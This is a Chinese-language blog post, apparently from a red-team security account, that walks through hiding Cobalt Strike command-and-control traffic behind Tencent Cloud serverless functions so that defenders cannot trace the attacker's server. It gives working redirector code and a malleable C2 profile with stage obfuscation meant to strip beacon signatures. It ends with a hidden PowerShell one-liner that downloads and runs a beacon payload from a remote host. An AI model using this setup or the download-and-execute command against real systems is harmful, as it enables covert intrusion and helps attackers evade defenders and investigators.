基于云函数的CS流量隐匿探讨

科技   2024-08-17 16:57   湖北  

前言

在前面的文章中已经有过利用云函数对扫描流量的隐匿探讨,今天就来小小进阶一下,对我们的cs上线流量进行隐匿

云函数介绍

云函数(Serverless Cloud Function,SCF)主要是为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码。开发者只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在云基础设施上弹性、安全地运行代码。

利用云函数我们可以很好地隐藏自己,主要是因为云函数采用多地部署模式,每次请求都会切换不同的IP地址,虽然默认访问域名还是会被防守方获取到,但是一般情况下防守方无法根据API直接从腾讯云获取我们的个人信息。因此我们可以通过云函数的特性来隐藏CS服务端。

利用云函数实现隐匿真实

我们这里用腾讯云的云函数实现

https://console.cloud.tencent.com/scf/index?rid=1&ns=all


选择API服务

名字可以随便起,选中代码部分,将云函数代码粘贴进去,ip和端口改为自己teamserver服务器的公网ip和监听端口

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://ip:port' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

找到触发器,选择自定义,按照截图选择

点击完成后点击触发管理

点击API服务名


点击编辑

修改路径为/,点击立即完成

注意这个访问地址,一会需要用到红框内部分(即域名部分)


http://service-xxxxxx.gz.tencentapigw.com.cn:80
https://service-xxxxxx.gz.tencentapigw.com.cn:443

将kris.profile置于CS服务端根目录

set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

stage {
set userwx "false";
set stomppe "true";
set obfuscate "true";
set name "srv.dll";
set cleanup "true";
set sleep_mask "true";

set checksum "0";
set compile_time "11 Nov 2016 04:08:32";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

transform-x86 {
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
strrep "ReflectiveLoader" "execute";
strrep "This program cannot be run in DOS mode" "";
strrep "beacon.dll" "";
}
transform-x64 {
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
strrep "ReflectiveLoader" "execute";
strrep "beacon.x64.dll" "";
}

stringw "jQuery";
}

带配置文件启动

./teamserver <ip> <password> ./kris.profile

监听器配置

登录CS之后,新建一个监听器,根据云函数中代码填写https则payload中选择Beacon HTTPS,HTTPS Hosts和HTTPS host均需填写云函数中公网的域名(上文中标及的红框部分),端口与云函数中代码的一致

有个坑点:

在云函数代码中,只有80和443,其他端口不行

是80就加HTTP监听,443加HTTPS监听


访问这个域名,看看Cs中有没有Web日志

看到有就没问题,接下来上线即可

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))"

可以看到上线了

此时我们的IP是会不停变化的,说明成功了

也可以用JS的Profile


CKCsec安全研究院
专注于网络安全的公众号,分享最新的Red Team、APT等高级攻击技术、以及最新的漏洞威胁刨析。